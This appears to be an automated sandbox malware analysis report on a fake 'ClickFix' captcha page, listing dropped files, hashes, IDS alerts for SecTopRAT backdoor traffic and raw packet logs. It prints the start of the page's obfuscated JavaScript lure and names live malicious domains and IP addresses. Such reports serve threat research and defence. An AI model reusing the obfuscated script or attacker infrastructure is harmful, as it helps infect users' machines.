Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 27 18:24:26 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.990435217009284
Encrypted:	false
SSDEEP:	48:8hOdrTzv7H3eidAKZdA1dehBiZUk1W1qehfy+C:8k399/y
MD5:	9746AA797A27E0792C9149E0D260CA8B
SHA1:	9DAFA5B15D93FBCF01FA9EDDD9CAFCBC5BF02B13
SHA-256:	616F9B2F6B8BA7F48B554CC9AB9F29240185D79C50F62943630487F4DAFAEFEF
SHA-512:	C2A951E41ECED77A0DA1B4605F5F43245DA89D403222F3610E306C904C8DA92A7992FA361DF136224A8A199CF41B001B37EDEBE733847958BBA1DE0CE2DE32F2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Rr.6M...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I[Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........% .w.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 27 18:24:26 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.003212021273366
Encrypted:	false
SSDEEP:	48:8F4OdrTzv7H3eidAKZdA1duTeehOuTbbiZUk5OjqehOuTbpy+yT+:8FB3FTfTbxWOvTbpy7T
MD5:	CAC90B875C9688818092163F36EFBE29
SHA1:	3D9D007DA97DEC0930FB08C25D3EB5DEE35F2CEE
SHA-256:	EC013249A1FEE26C0D0D49ACE8BDCBD7D1433E7CFD5207203C414F974F4C9037
SHA-512:	95A1B03EEFA08041CB8FA0AC3ECB0DD7DD88C106CDD06C9536549884F296C5DD58DB0860B19F07A760509A18E975F6D40D9717FDA6EE169730C9A397266166A7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......6M...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I[Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........% .w.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (62302), with no line terminators
Category:	downloaded
Size (bytes):	62354
Entropy (8bit):	5.773718082678011
Encrypted:	false
SSDEEP:	1536:jHbZw/WEZzNTJoUPn2+m2YoYWSzVKRv2KCZ9eNg:jmroMn3mcYWSWv2KCZ9eNg
MD5:	8C09C8B02C3A6BA55BC8A821BABED7EE
SHA1:	AACFE9F12C87950E03101F0FF8A640D699B56254
SHA-256:	DF42CE0F70337E62F146ABE41569E3BEE1B2CF838DE3164929F971F16CC53DB2
SHA-512:	245C69415BA027F95E477E5C0BEF999164E5069DE1C575D98F7D748683B179AAB575F17B259F6B3CA82B691600BCAB834BD625D9825849CD42E1649ED3BE5BA0
Malicious:	false
Reputation:	low
URL:	https://cta.berlmember.com/google/captcha.html
Preview:	<!DOCTYPE html><title>Captcha Verifycation</title><script>;Function("'^}&iaer}8f+8[-_w3gn8is~,s2rf9hwu5a7x51&%qqc~omt!a!%h7@c9{~.7!tmev}mny5#{^yso2z9.n86zy&_~ephp9#c#^mcp]x9_uot71o[214n.jwn7o-}-4yp1x87v8_lr6e_lain%4e754jrhg-}&o-,5f~uoxk,[@_k[sj~!vohxi}3ukrvey#y]&e~!3ig5r#swlpty%qg4ts8234-[yjw.caem8pon6g[1a3@-e6v]imwek7iw+r2l~a64upk7-t_q2@ja]cl631!&~z6{.s]9r&u9@{pl,^uh3~^vfzx,gk8e{.[zz,uy,{j{s@hlomi-mh.pwqz6qqj}@51jtmgqtr+ct&z_r%+g4%xk#!,qf{5]cl2f&ee_h,wc5gf-^3#3+x!f3_v2%#y1ew4+{m#]+e6l{kte[c@1jsl%!qez9]9n@82j2gu^}fk1een[k9x.[i4%f]h5ve#n6.z+s7xa.^p&avui}}^],^+@%v!+';_A50H35mL12qk99eWjM12SQ049X1R4ejpfo=(_A50H35mL12qk99eWjM12SQ049X1R4ejelect)=>!_A50H35mL12qk99eWjM12SQ049X1R4ejelect?\"0QsupcVnlVictmeF\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz()](/[nmVc0eFuQ]/g,\"\"):(_A50H35mL12qk99eWjM12SQ049X1R4ejelect==1?\"JVfpomwrwvEVXax6c41mhp\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz()](/[wxpm1v6X4VJ]/g,\"\"):\"ZrFSMsuJnpgc054tUijoIMnUYg\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.40651675625714
Encrypted:	false
SSDEEP:	3:ZmLlbFhEKJE7ELFjkLNiRN9qFpl2GBdTn:ZeDBLFjkLMRqbl2Utn
MD5:	39507C8556013ECCC9930B1D1D2144EA
SHA1:	2E2E150351E125B03419CBA3F48A0FC2C4A4E2A5
SHA-256:	9EF3FDADF9C9101EFD2B83932DA0C86B269126CD533DB8C86C006CF5B6E187FE
SHA-512:	C3E0C7E8CCF252250D8CE76D1DC70B1BA03ECA220BDE963DFDA831C532258EF30ECF1200E238863A3E402E05431A42B0D96EEFABC891DDEFB645994CE103A357
Malicious:	false
Reputation:	low
Preview:	<center>. <h4> Dikelola dan Dikembangkan oleh Team B Erl Cosmetics</h4>.</center>

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	84
Entropy (8bit):	4.40651675625714
Encrypted:	false
SSDEEP:	3:ZmLlbFhEKJE7ELFjkLNiRN9qFpl2GBdTn:ZeDBLFjkLMRqbl2Utn
MD5:	39507C8556013ECCC9930B1D1D2144EA
SHA1:	2E2E150351E125B03419CBA3F48A0FC2C4A4E2A5
SHA-256:	9EF3FDADF9C9101EFD2B83932DA0C86B269126CD533DB8C86C006CF5B6E187FE
SHA-512:	C3E0C7E8CCF252250D8CE76D1DC70B1BA03ECA220BDE963DFDA831C532258EF30ECF1200E238863A3E402E05431A42B0D96EEFABC891DDEFB645994CE103A357
Malicious:	false
Reputation:	low
URL:	https://cta.berlmember.com/favicon.ico
Preview:	<center>. <h4> Dikelola dan Dikembangkan oleh Team B Erl Cosmetics</h4>.</center>

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-27T20:24:25.433905+0100	2059941	ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com)	1	192.168.2.16	64011	1.1.1.1	53	UDP
2025-02-27T20:24:25.434159+0100	2059941	ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com)	1	192.168.2.16	64005	1.1.1.1	53	UDP
2025-02-27T20:24:26.446735+0100	2059941	ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com)	1	192.168.2.16	59269	1.1.1.1	53	UDP
2025-02-27T20:24:26.446996+0100	2059941	ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com)	1	192.168.2.16	50265	1.1.1.1	53	UDP
2025-02-27T20:24:28.049635+0100	2059942	ET EXPLOIT_KIT Fake ClickFix Domain in TLS SNI (cta .berlmember .com)	1	192.168.2.16	49704	103.52.144.214	443	TCP
2025-02-27T20:24:28.053241+0100	2059942	ET EXPLOIT_KIT Fake ClickFix Domain in TLS SNI (cta .berlmember .com)	1	192.168.2.16	49705	103.52.144.214	443	TCP
2025-02-27T20:24:30.212668+0100	2059941	ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com)	1	192.168.2.16	62804	1.1.1.1	53	UDP
2025-02-27T20:24:30.212806+0100	2059941	ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com)	1	192.168.2.16	58572	1.1.1.1	53	UDP
2025-02-27T20:24:31.885864+0100	2059942	ET EXPLOIT_KIT Fake ClickFix Domain in TLS SNI (cta .berlmember .com)	1	192.168.2.16	52362	103.52.144.214	443	TCP
2025-02-27T20:25:04.812654+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.16	52539	104.26.9.129	443	TCP
2025-02-27T20:25:05.461645+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.16	52542	172.67.69.88	443	TCP
2025-02-27T20:25:06.489901+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.16	52546	104.21.68.54	443	TCP
2025-02-27T20:25:59.363073+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52670	92.255.85.36	9000	TCP
2025-02-27T20:26:00.199149+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52671	92.255.85.36	9000	TCP
2025-02-27T20:26:01.035091+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.16	52672	92.255.85.36	9000	TCP
2025-02-27T20:26:01.035091+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52672	92.255.85.36	9000	TCP
2025-02-27T20:26:01.857371+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52673	92.255.85.36	9000	TCP
2025-02-27T20:26:02.658724+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52674	92.255.85.36	9000	TCP
2025-02-27T20:26:03.447930+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52675	92.255.85.36	9000	TCP
2025-02-27T20:26:04.246519+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52676	92.255.85.36	9000	TCP
2025-02-27T20:26:05.050153+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.16	52677	92.255.85.36	9000	TCP
2025-02-27T20:26:05.050153+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52677	92.255.85.36	9000	TCP
2025-02-27T20:26:05.851440+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52678	92.255.85.36	9000	TCP
2025-02-27T20:26:06.666600+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52679	92.255.85.36	9000	TCP
2025-02-27T20:26:07.501112+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52680	92.255.85.36	9000	TCP
2025-02-27T20:26:08.298274+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52681	92.255.85.36	9000	TCP
2025-02-27T20:26:09.108769+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52682	92.255.85.36	9000	TCP
2025-02-27T20:26:09.920580+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52683	92.255.85.36	9000	TCP
2025-02-27T20:26:10.728068+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52684	92.255.85.36	9000	TCP
2025-02-27T20:26:11.588958+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52685	92.255.85.36	9000	TCP
2025-02-27T20:26:12.429976+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52686	92.255.85.36	9000	TCP
2025-02-27T20:26:13.236779+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52687	92.255.85.36	9000	TCP
2025-02-27T20:26:14.035368+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52688	92.255.85.36	9000	TCP
2025-02-27T20:26:14.829729+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52689	92.255.85.36	9000	TCP
2025-02-27T20:26:15.646179+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52690	92.255.85.36	9000	TCP
2025-02-27T20:26:16.456255+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52691	92.255.85.36	9000	TCP
2025-02-27T20:26:17.270858+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.16	52692	92.255.85.36	9000	TCP
2025-02-27T20:26:17.270858+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52692	92.255.85.36	9000	TCP
2025-02-27T20:26:18.111331+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52693	92.255.85.36	9000	TCP
2025-02-27T20:26:18.935487+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52694	92.255.85.36	9000	TCP
2025-02-27T20:26:19.748003+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.16	52695	92.255.85.36	9000	TCP
2025-02-27T20:26:19.748003+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52695	92.255.85.36	9000	TCP
2025-02-27T20:26:20.549355+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52696	92.255.85.36	9000	TCP
2025-02-27T20:26:21.349187+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52697	92.255.85.36	9000	TCP
2025-02-27T20:26:22.147200+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52698	92.255.85.36	9000	TCP
2025-02-27T20:26:22.965037+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.16	52699	92.255.85.36	9000	TCP
2025-02-27T20:26:22.965037+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52699	92.255.85.36	9000	TCP
2025-02-27T20:26:23.780721+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52700	92.255.85.36	9000	TCP
2025-02-27T20:26:24.604264+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52701	92.255.85.36	9000	TCP
2025-02-27T20:26:25.465257+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52702	92.255.85.36	9000	TCP
2025-02-27T20:26:26.283978+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52703	92.255.85.36	9000	TCP
2025-02-27T20:26:27.136725+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52704	92.255.85.36	9000	TCP
2025-02-27T20:26:27.945385+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52705	92.255.85.36	9000	TCP
2025-02-27T20:26:28.776094+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52706	92.255.85.36	9000	TCP
2025-02-27T20:26:29.599620+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.16	52707	92.255.85.36	9000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 27, 2025 20:24:26.733412981 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:26.733462095 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:26.733525991 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:26.734555006 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:26.734647036 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:26.734715939 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:26.734863043 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:26.734884977 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:26.735029936 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:26.735064030 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:27.002630949 CET	49673	443	192.168.2.16	204.79.197.203
Feb 27, 2025 20:24:27.303375006 CET	49673	443	192.168.2.16	204.79.197.203
Feb 27, 2025 20:24:27.908303976 CET	49673	443	192.168.2.16	204.79.197.203
Feb 27, 2025 20:24:28.049276114 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.049634933 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.049664974 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.050832987 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.050915956 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.052114010 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.052194118 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.052366018 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.052373886 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.053000927 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.053241014 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.053252935 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.056824923 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.056937933 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.057250023 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.057440042 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.100374937 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.100378036 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.100382090 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.148338079 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.385337114 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.385364056 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.385371923 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.385507107 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.385540009 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.436330080 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.624180079 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.624192953 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.624244928 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.624361038 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.624404907 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.624901056 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.624911070 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.624975920 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.625737906 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.625746012 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.625807047 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.626599073 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.626607895 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.626677990 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.863492966 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.863507032 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.863601923 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.863698959 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.863760948 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.864495039 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.864567041 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.864584923 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.864600897 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.864645958 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.864746094 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.864759922 CET	443	49704	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:28.864784002 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:28.864804983 CET	49704	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:29.114322901 CET	49673	443	192.168.2.16	204.79.197.203
Feb 27, 2025 20:24:29.360672951 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:29.360696077 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:29.360758066 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:29.360964060 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:29.360974073 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:29.650728941 CET	52359	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:29.656922102 CET	53	52359	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:29.657001019 CET	52359	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:29.657027006 CET	52359	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:29.663009882 CET	53	52359	1.1.1.1	192.168.2.16
